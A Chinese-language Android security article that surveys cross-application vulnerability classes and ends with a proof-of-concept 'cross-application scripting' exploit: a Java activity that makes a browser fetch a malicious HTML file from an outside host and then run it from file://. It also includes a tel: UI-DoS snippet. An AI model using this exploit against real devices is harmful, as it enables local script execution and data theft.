Android應用安全之android平臺上的跨應用攻擊

by SuperHei_at_www.80vul.com

一、前言

    我們在第一篇《Android應用安全之開發環境帶來的危險》一文了主要是談論的是跨平臺
攻擊，而在第二篇《Android應用安全之android平臺上的xss攻擊》里提到是android平臺上
的跨站攻擊，那么我們在最后的第三篇里將給大家帶來的是android平臺上的跨應用攻擊。在
現在有的android平臺安全問題更加聚焦在那些安裝時申請一大堆權限的惡意木馬應用，而忽
視了正常跨應用通訊機制里的應用安全問題...


二、Android安全機制簡介

"Android是一個權限分離的系統。這是利用Linux已有的權限管理機制，通過為每一個 
Application 分配不同的 uid 和 gid ， 從而使得不同的 Application 之間的私有數據和
訪問（ native 以及 java 層通過這種 sandbox 機制，都可以）達到隔離的目的 。 與此同
時， Android還在此基礎上進行擴展，提供了 permission 機制，它主要是用來對 
Application 可以執行的某些具體操作進行權限細分和訪問控制....."

從上面的信息可以看出來，android的安全機制大體分2個部分：

1、linux內核安全機制
Android應用程序運行在它們自己的Linux進程上，并被分配一個惟一的用戶ID。默認情況
下，運行在基本沙箱進程中的應用程序沒有被分配權限，因而防止了此類應用程序訪問系統
或資源。

2、權限機制
權限是android平臺上的應用級別的安全機制，貫穿著整個應用安全流程，它主要體現在允許
或限制應用程序訪問受限的API和資源。對于一個應用程序來說，首先它可以申明本身資源訪
問權限，包括在manifest文件申明設置，還包括應用程序開發時api里設置權限等。 然后就
是這個程序在訪問其他或者系統受限的API和資源時候，就需要通過設置manifest文件提出申
請，用戶安裝的時候用戶允許后才可以成功安裝。

三、跨應用通訊

由于上面提到的android的sandbox安全模式，每個應用程序都是在自己的進程里，所以為了
實現不同應用程序之間的數據交流，android設計了4種的組件實現：Activity、
Broadcast 、Service另外還包括用于數據處理的Content Provider。

這4種方式的具體實現方式，詳見《android中跨進程通訊的4種方式》[1]。

另外，上面的方式是對于不同進程不同應用之間的通訊，當然還有一種方式可以實現不同應
用設置為同一進程共享數據資源：使用相同數字簽名簽署設置為同一個進程[設置manifest文
件里的android:sharedUserId屬性]，由于需要數字簽名，而這個簽名之掌握在開發者手里，
當然如果這個簽名被攻擊者得到那就是另外一說了。 ：）

四、跨應用數據提交與數據接收

對于Activity、Broadcast 、Service 這3種組件，都是通過intents來提交提交數據的，對
應的參數傳遞接口如下：

Activity：Context.startActivity()、Activity.startActivityForRestult()
Service：Context.startService()、Context.bindService() 
Service：Context.sendBroadcast()、Context.sendOrderedBroadcast()、Context.sendStickyBroadcast()

至于Intent對象詳細處理方式請參考：[2]

我們用一個demo說明：

	Intent intent = new Intent();
	intent.setAction("org.xxxx.ACTION");
	intent.putExtra("arg1", "hello");
	intent.putExtra("arg2", "world");
	startService(intent);

上面的代碼是發送給startService(intent);所以目標是一個Service，發送的action名為
"org.xxxx.ACTION"，至于具體的參賽提交是使用的putExtra附加數據的方式。我們在看看目
標Service app的manifest文件代碼：

        <service android:name="RemoteCallService">
            <intent-filter>
                <action android:name="org.xxxx.ACTION"></action>
            </intent-filter>
        </service>

對于參數提交我們還可以通過目標apk注冊協議（<data android:scheme="info"/>）的方式
用intent提交：

Intent intent = new Intent("org.xxxx.ACTION"，Uri.parse("info://host/data" ));

[ps:當然這個協議支持瀏覽器提交的話，我們可以直接可以通過網頁里調用并提交參數]

我們再看看目標apk提取接收參數的方式,對應于提交action和data，接收也有對應的處理 如：

intent.getAction() 得到提交的action
intent.getStringExtra("arg1"); 得到附加的數據

另外也可以通過 getIntent()來處理如：

Bundle extras = getIntent().getExtras(); 
userName = extras.getString("arg1");

還有用getIntent().getData()來得到intent第2個參數Uri方式提交的數據[也就是上面提到
的協議方式]。

五、漏洞模型

對于跨應用的漏洞主要表現在“權限”的對抗里，在上面的“Android安全機制簡介”里，我
們知道一個apk在所用一些限制功能時要通過<uses-permission>在安裝時向用戶提出申請，
這個就是“權限請求”。那么apk在提供Activity、Broadcast 、Service等時應該申明權限
進行限制，這也就是“權限申明”。當某apk權限請求與權限申明不對等的時候，那么惡意
apk在沒有對應<uses-permission>請求下，可以通過訪問用戶安裝其他合法apk的Activity、
Broadcast 、Service方式來突破。換句話說就是：惡意的apk在沒有任何權限請求下，通過
其他正規的apk提供的“功能”來實現某些受限制的操作,這些操作主要表現在某些私有數據
的安全上。

對于應用安全來說，我以前說過“有什么樣的功能，就可能帶來什么樣的漏洞“，對于apk在
接收參數后實現的功能就決定了“漏洞的類型”。比如當參數處理后進入sql操作，就有可能
參賽sql注射漏洞。所以在pc平臺上常見的應用安全漏洞類型，很有可能在android平臺上重
現：

a、非授權訪問

這個主要是針對apk在實現某些有危險操作的功能時候，缺少認證或者說沒有設置對應的私有
權限，導致第三方惡意apk非授權訪問這些功能。wooyun上公布的《樂phone手機系統重啟漏
洞》[3]及《樂phone手機任意軟件包安裝刪除漏洞》[4]就是典型的例子。

b、sql注射

在android平臺上，應用程序使用的數據庫是基于Sqlite，android SDK提供了數據庫操作類
SQLiteOpenHelper，在SQLiteOpenHelper里使用的查詢、更新、插入、刪除等操作都使用了
參數綁定的方式，所以如果是正規調用的話，是很難產生sql注射的！當然這個世界不可能是
完美的！

不過還有一個函數有可能導致sql注射：

public void execSQL (String sql)

Since: API Level 1
Execute a single SQL statement that is NOT a SELECT or any other SQL statement 
that returns data.
It has no means to return any data (such as the number of affected rows). 
Instead, you're encouraged to use insert(String, String, ContentValues), 
update(String, ContentValues, String, String[]), et al, when possible.
When using enableWriteAheadLogging(), journal_mode is automatically managed by 
this class. So, do not set journal_mode using "PRAGMA journal_mode'" statement 
if your app is using enableWriteAheadLogging()
Parameters

sql	the SQL statement to be executed. Multiple statements separated by 
semicolons are not supported.
Throws

SQLException	if the SQL string is invalid

但是這個函數是沒有返回的，也不支持多語句。所以即使是有漏洞，利用起來也會比較麻煩。

如果存在sql注射，那么將危險到apk私有的數據庫里數據的安全。

c、Cross-Application Scripting

這個概念首先出現在IBM Rational Application Security Research Group的一個漏洞公告
里：《Android Browser Cross-Application Scripting》[5]，這個方式其實就是
當apk在接收第三方惡意apk提交的參賽，沒有處理好進入瀏覽器或者webview控件，導致的
xss攻擊。 這個區別于《Android應用安全之android平臺上的xss攻擊》一文的地方在于，發
起估計方式不同，這里只限于第三方惡意apk發起的方式。 至于其他的漏洞挖掘分析及利用
效果那都是一樣的。

d、命令執行

當參數進入Runtime.getRuntime().exec()時，可能導致以目標apk用戶權限執行命令。

e、本地文件讀寫

android的安全機制是深入到了sdk各大api領域的，在本地數據存儲（Shared Preferences、
Internal Storage、External Storage、SQLite Database）各大api創建文件時，都是可以
設置對應的讀寫權限的，如：

public abstract SharedPreferences getSharedPreferences (String name, int mode)

Since: API Level 1
Retrieve and hold the contents of the preferences file 'name', returning a 
SharedPreferences through which you can retrieve and modify its values. Only 
one instance of the SharedPreferences object is returned to any callers for the 
same name, meaning they will see each other's edits as soon as they are made.
Parameters

name	Desired preferences file. If a preferences file by this name does not 
exist, it will be created when you retrieve an editor 
(SharedPreferences.edit()) and then commit changes (Editor.commit()).
mode	Operating mode. Use 0 or MODE_PRIVATE for the default operation, 
MODE_WORLD_READABLE and MODE_WORLD_WRITEABLE to control permissions. The bit 
MODE_MULTI_PROCESS can also be used if multiple processes are mutating the same 
SharedPreferences file. MODE_MULTI_PROCESS is always on in apps targetting 
Gingerbread (Android 2.3) and below, and off by default in later versions.
Returns

Returns the single SharedPreferences instance that can be used to retrieve and 
modify the preference values.
See Also

MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITEABLE
MODE_MULTI_PROCESS

getSharedPreferences()第2個參數就是設置權限。如果在apk開發里程序員錯誤的設置了
other的權限，那么就可以導致安全問題。

other可讀 ---> 可以直接導致信息泄漏，在《Android應用安全之android平臺上的xss攻擊》
一文里xss的利用就是other可讀。
other可寫 ---> 可以導致原有存儲的數據被篡改，成而引發一系列安全問題[這個類是于我
以前web安全里“二次攻擊”]。常見于一些配置變量被篡改的問題。

當然如果apk在接收參數后，參數進入原有功能里的文件讀寫api的操作，那么有可能導致
apk本事的數據安全的問題，及時合理使用了MODE_PRIVATE。

對于這類問題的審核，我們可以通過掃描文件屬性來得到你的系統上那些文件是other可讀
寫的。類似于《Android應用安全之android平臺上的xss攻擊》一文通過android-php來掃描
的方法。另外要強調的是sdcard上的文件默認是“other可讀”的。

f、Content Provider設置不當導致數據泄漏

Content Provider是android平臺上跨應用程序共享數據的方式。也就是說“Content 
Provider 存在的目的向其他應用程序共享數據和允許其他應用程序對數據進行增、刪、改
操作。” 當然按照android的安全設計，對于Content Provider一樣可以設置對應的權限，
如 <provider  android:permission="string" android:readPermission="string" 
android:writePermission="string" ></provider> 以及<grant-uri-permission>的處理等。
然而：

當某些應用程序把不該共享的數據共享時...
當某些應用次序把不改共享數據寫權限的時...
當.....

這個都將威脅到你的數據安全。比如一個典型的例子：
《Dropbox for Android Vulnerability Breakdown》[6]


g、其他攻擊方式：如中間人攻擊、UI-Dos等

[updata:2011年12月5日]

這些問題其實更多的是屬于android平臺上設計權限導致的一些安全問題：

中間人攻擊：

在進行跨應用通訊時，系統會根據manifest文件里的<intent-filter>去啟動對用的服務
等，當我們的惡意apk設置偽造對應的服務等及對應的<intent-filter>時，當用戶通過在
2個正常的應用通訊時候，導致提交的參數被中間人(惡意的apk)所截取，另外在Defcon19上
trustwave的大牛演示了一種通過劫持activity來達到中間人攻擊效果的方法：[7]

上面提到的2個問題，盛大的DODO牛做了詳細的分析，詳見：
《android安全-activity劫持》 [8]
《android安全-intent》[9]


UI-dos

移動設備顯示屏幕小、輸入困難等先天條件導致了一些產品在UI設計處理上過于簡陋，導致
一些安全問題。比如下面的腳本：

====code=======
<meta hxxp-equiv="refresh" content="0;URL=[self url]"/>
<iframe src="tel:1122234555"></iframe>

====code=======

當瀏覽器訪問這個html會不斷刷新，會導致不停的彈出撥號的界面...

六、0day演示

Browsers for android Cross-Application Scripting Vulnerability

在android平臺上，絕大多數的瀏覽器，允許被第三方應用程序調用瀏覽網頁，如調用
android自帶瀏覽器訪問http://www.80vul.com的代碼如下：

	Intent res = new Intent("android.intent.action.VIEW");
	res.setComponent(new ComponentName("com.android.browser","com.android.browser.BrowserActivity"));
	res.setData(Uri.parse(“http://www.80vul.com”));

如果我們通過這個方法通過file://協議打開本地的html文件呢？那么改html里的js就是在
file://“域”里執行的。只要我們可以把惡意的html/js代碼存放到目標的手機就可以了
...

《Android應用安全之android平臺上的xss攻擊》里的“[0day-NO.3]、android-browser和
firefox自動下載文件漏洞” 可以幫我們實現這個條件。 EXp代碼如下:

//codz base on http://blog.watchfire.com/files/advisory-android-browser.pdf
package com.x;
//opera 
//com.opera.browser com.opera.Opera

//firefox 
//org.mozilla.firefox org.mozilla.firefox.App

//android
//com.android.browser com.android.browser.BrowserActivity

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

public class TesttestActivity extends Activity {
	static final String mPackage = "com.android.browser";
	static final String mClass = "com.android.browser.BrowserActivity";
	static final String gomPackage = "com.opera.browser";
	static final String gomClass = "com.opera.Opera";
	static final String mUrl = "http://www.80vul.com/autodown.php";
	static final int mSleep = 15000;
	@Override
	public void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.main);
	startBrowserActivity(mUrl);
	try {
	Thread.sleep(mSleep);
	}
	catch (InterruptedException e) {}
	startBrowserActivitygo("file:///sdcard/Download/g.htm");
	}
	private void startBrowserActivity(String url) {
	Intent res = new Intent("android.intent.action.VIEW");
	res.setComponent(new ComponentName(mPackage,mClass));
	res.setData(Uri.parse(url));
	startActivity(res);
	}
	private void startBrowserActivitygo(String url) {
	Intent res = new Intent("android.intent.action.VIEW");
	res.setComponent(new ComponentName(gomPackage,gomClass));
	res.setData(Uri.parse(url));
	startActivity(res);
	}
}

上面的代碼首先是通過調用com.android.browser訪問
http://www.80vul.com/autodown.php自動下載一個惡意htm文件到目標手機上，路徑為
/sdcard/Download/g.htm，然后調用其他的瀏覽器或者android自帶的瀏覽器訪問
file:///sdcard/Download/g.htm 來實現在file://下執行任意js的目的。

不過對于firefox、opera來說，即使你擁有了file://下執行js的能力，也將無所作為！ 它
們在限制本地html方面做里大量的防御工作，比如你不可以使用在firefox通過xmlhttp去讀
取本地的其他目錄的文件，也不可以讀取http域的內容，當然如果你找到突破這些防御的方
法，那么你就可以做點其他什么事情了 ：）

七、小結

對于android安全機制來說都是圍繞著“權限”展開的，而且這個“權限”設計深入到
android的各個細節，也正是這個原因，導致很多開發者對于這些細節的認識不夠，很容易
導致應用程序的“權限請求與權限申明不對等”而導致漏洞。另外andriod在某些框架的設
計上是存在問題的，尤其是在webkit的設計上。我不知道官方會不會承認我演示的
android平臺上瀏覽器“Cross-Application Scripting”的問題，不過就效果來說他可以實
現《Android Browser Cross-Application Scripting》[5]一樣的效果，這樣的
惡意apk都是不需要任何權限請求的。另外也可以附加惡意的html到asset目錄，如何通過
webview調用（file:///android_asset/a.htm）來實現上面的效果，但是這個方式要攻擊成
功最起碼要請求android.permission.INTERNET權限。

最后感謝文章里引用資源的那些作者們，另外特別感謝luoluo牛的指導和各種demo編寫。

八、參考
[1]http://blog.csdn.net/yan8024/article/details/6444368
[2]http://developer.android.com/reference/android/content/Intent.html
[3]http://www.wooyun.org/bugs/wooyun-2010-0511
[4]http://www.wooyun.org/bugs/wooyun-2010-0509
[5]http://blog.watchfire.com/files/advisory-android-browser.pdf
[6]http://intrepidusgroup.com/insight/2011/08/dropbox-for-android-vulnerability-breakdown/
[7]https://media.defcon.org/dc-19/presentations/Percoco-Spiderlabs/DEFCON-19-Percoco-Spiderlabs-Droid.pdf
[8]http://www.sectop.com/?p=242
[9]http://www.sectop.com/?p=187

-EOF-